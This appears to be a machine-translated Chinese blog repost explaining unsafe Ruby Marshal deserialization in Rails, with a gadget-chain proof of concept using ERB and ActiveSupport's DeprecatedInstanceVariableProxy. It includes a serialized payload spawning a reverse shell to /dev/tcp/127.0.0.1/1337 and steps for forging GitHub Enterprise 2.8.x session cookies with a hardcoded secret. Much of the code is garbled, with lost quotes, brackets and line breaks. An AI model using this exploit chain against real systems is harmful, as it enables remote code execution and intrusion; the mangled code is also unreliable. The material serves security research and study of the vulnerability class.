探索Ruby项目中的反序列化问题

2019-03-21 08:05:09 织梦安装使用
  • 文章介绍
狼腾测试员

前言

Ruby on Rails是一个流行的应用程序平台,它使用cookie来识别应用程序会话。

cookie由两部分组成:cookie-value和signature。每当Rails获取cookie时,它通过验证发送的cookie值的哈希/签名是否与发送的签名匹配来验证cookie是否未被篡改。用于检索内容的解组cookie通常包含三个逻辑步骤:

url_decoded_cookie = CGI :: unescapecookie_valueb64_decoded_session = Base64.decode64url_decoded_cookiesession = Marshal.loadb64_decoded_session

在许多白盒Ruby on Rails项目的审计过程中,我们一次又一次地遇到了元组反序列化的不安全使用。虽然会话cookie反序列化是一个严重的问题,但是有一整类的解组错误可能导致远程执行代码(RCE)。所有情况都是相似的:解组cookie,一些GET-POST数据或用户会话中的任何类型的数据。例如:

ifdata = @cookies [user_data])。presentuserinfo = Marshal.loadBase64.decode64data))

这种调用demarshalling是使用反序列化机制的一个非常危险的例子,因为它可能直接导致任意代码执行。这是最终目标,但首先,我们需要构建在访问时运行的代码。

PoC创建

第一步是使用一些erb模板解析器,如ERB或Erubis,它在GitHub Enterprise中使用。src变量的实例可能包含纯Ruby代码; 因此,我们可以在此处放置有效负载,并使用将要执行的代码。

erb = ERB.allocateerb.instance_variable_set :@src, %x();

https://github.com/ruby/ruby/blob/trunk/lib/erb.rb#L875:

738: class ERB852: # Generate results and print them. (see ERB#result)853: def run(b=new_toplevel)854: print self.result(b)855: end865: def result(b=new_toplevel)875: eval(@src, b, (@filename || (erb)), @lineno)876: end877: end

or

erb = Erubis::Eruby.allocateerb.instance_variable_set :@src, %x{};

https://github.com/kwatch/erubis/blob/master/lib/erubis/evaluator.rb#L65:

10: module Erubis44: module RubyEvaluator52: ## eval(@src) with binding object53: def result(_binding_or_hash=TOPLEVEL_BINDING)65: return eval(@src, _b, (@filename || (erubis))

查看用于执行有效负载的评估程序的源代码,我们需要在创建erb对象之后调用结果方法。我们不能直接影响执行过程; 因此,我们需要在解组过程中以某种方式强制调用结果方法。InstanceVariableProxy类可以帮助我们解决这类问题。ActiveSupport模块包含一种特殊的机制,用于标记过时的方法并对其进行更改,以使其现在可以正常工作。这叫做ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy。

简单地说,这个机制与解释者交谈:“嘿,伙计。不再支持此方法。请使用这个并运行。“

089: class DeprecatedInstanceVariableProxy < DeprecationProxy090: def initialize(instance, method, var = “@#{method}”, deprecator = ActiveSupport::Deprecation.instance)091: @instance = instance092: @method = method098: def target099: @instance.__send__(@method)102: def warn(callstack, called, args)103: @deprecator.warn(#{@var} is deprecated! Call #{@method}.#{called} instead of #{@var}.#{called}. Args: #{args.inspect}”, callstack)

因此,我们可以使用它来弃用实例变量; 运行该实例变量后,它将丢弃警告消息并调用新方法。这正是我们在这一步所需要的。

class ActiveSupportclass Deprecationdef initialize()@silenced = trueendclass DeprecatedInstanceVariableProxydef initialize(instance, method)
   @instance = instance
     @method = method
        @deprecator = ActiveSupport::Deprecation.new
        end
     end
   endenddepr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocatedepr.instance_variable_set :@instance, erbdepr.instance_variable_set :@method, :resultdepr.instance_variable_set :@var, @resultdepr.instance_variable_set :@deprecator, ActiveSupport::Deprecation.new

或者 depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erubis, :result)

在这一步,如果我们尝试访问depr对象,我们将运行代码。

现在我们可以使用Marshal.dump序列化已完成的对象,并使用base64函数进行编码。

payload = Base64.encode64(Marshal.dump(depr)).gsub(n, “”)puts payload

将所有步骤组合到源代码中

requirebase64 requireerb class ActiveSupport class Deprecation def initialize()@silenced = true endclass DeprecatedInstanceVariableProxy def initializeinstancemethod
  @instance = instance 
     @method = method 
        @deprecator = ActiveSupport :: Deprecation.new 
        end 
     end 
  end enderb = ERB.allocate erb.instance_variable_set@src,“%xbash -i>/ dev / tcp/127.0.0.1 / 1337 0>1; erb.instance_variable_set:@ lineno1337depr = ActiveSupport :: Deprecation :: DeprecatedInstanceVariableProxy.allocate depr.instance_variable_set:@ instanceerb depr.instance_variable_set:@ method,:result depr.instance_variable_set@ var,“ @ result  depr.instance_variable_set:@ predecatorActiveSupport :: Deprecation .new payload = Base64.encode64Marshal.dumpdepr))。gsub(“ n”,“”)

加载payload

你可以在repl.it代码平台运行。

去年在GitHub Enterprise 2.8.0 < 2.8.6产品中发现了类似的错误。会话cookie标志有一个静态会话密钥,cookie本身就是Marshal对象。

/data/enterprise-manage/current/config.ru :

62: # Enable sessions63: use Rack::Session::Cookie,64: :key => _gh_manage,65: :path => /,66: :expire_after => 1800, # 30 minutes in seconds67: :secret => ENV[ENTERPRISE_SESSION_SECRET] || 641dd6454584ddabfed6342cc66281fb

首先,使用上述漏洞利用代码创建DeprecatedInstanceVariableProxy对象。

session = {session_id => “”, exploit => proxy}

之后,我们需要编组会话变量,编码和HMAC使用我们的SECRET密钥641dd6454584ddabfed6342cc66281fb签署其SHA1摘要。

dump = [Marshal.dump(session)].pack(m)hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)

最后,编码有效负载并使用 - 分隔符对连接进行签名,然后将请求作为cookie头发送。

rqst[‘Cookie’] = “_gh_manage=#{CGI.escape(“#{dump} — #{hmac}”)}”

图1. 成功利用GitHub Enterprise 2.8.5
在修复了这个错误后的几个月,台湾研究员Orange Tsai发现了另一个包含像这样的反序列化漏洞的漏洞。该问题有四个链 - 通过远程SSRF到内部Graphite服务SSRF,然后到Python httplib.HTTPConnection模块内的CR-LF注入,然后从Memcache数据库对Ruby对象进行不安全的反序列化。攻击者可以存储使用相同漏洞利用生成的恶意对象,然后在从缓存Memcache中获取该对象后,Ruby gem会自动对其进行反序列化,这将导致代码执行。

图2. 成功利用GitHub Enterprise 2.8.6
成功利用后,攻击者可以使用此类错误在远程系统上运行任意代码。由于使用的广泛可能性,这样的错误导致生产中的严重问题。例如,加密矿工喜欢将这样的bug应用到他们的攻击库中以感染许多系统,以便受感染的系统可以成为僵尸网络的一部分。当然,如果易受攻击的应用程序从目标系统上的高权限用户运行,问题将变得更加严重。留意!

参考

https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles — Slides about marshalling and pickle serialization from OWASP AppSecCali 2015 by Christopher Frohoff

https://gist.github.com/niklasb/df9dba3097df536820888aeb4de3284f — Rails 5.1.4 YAML unsafe deserialization RCE payload

https://repl.it/@allyshka/Ruby-RCE-with-Marshalload — Ruby Marshal+Base64 RCE payload playground/generator

http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html — GitHub Enterprise 2.8.0 < 2.8.6 RCE report and details

https://www.exploit-db.com/exploits/41616/ — GitHub Enterprise 2.8.0 < 2.8.6 RCE exploit

http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html — GitHub Enterprise 4-chained vulnerability. One of them is unsafe Marshal deserialization


    阅读原文

    发送中

    阅读原文

    上一篇: 如何写出低碳环保的Android代码 ..

    下一篇: Knative:精简代码之道

    相关文档推荐

    精品模板推荐

    专业的织梦模板定制下载站,在线购买后即可下载!

    商业源码

    跟版网模板,累计帮助5000+客户企业成功建站,为草根创业提供助力!

    立刻开启你的建站之旅
    
    QQ在线客服

    服务热线

    织梦建站咨询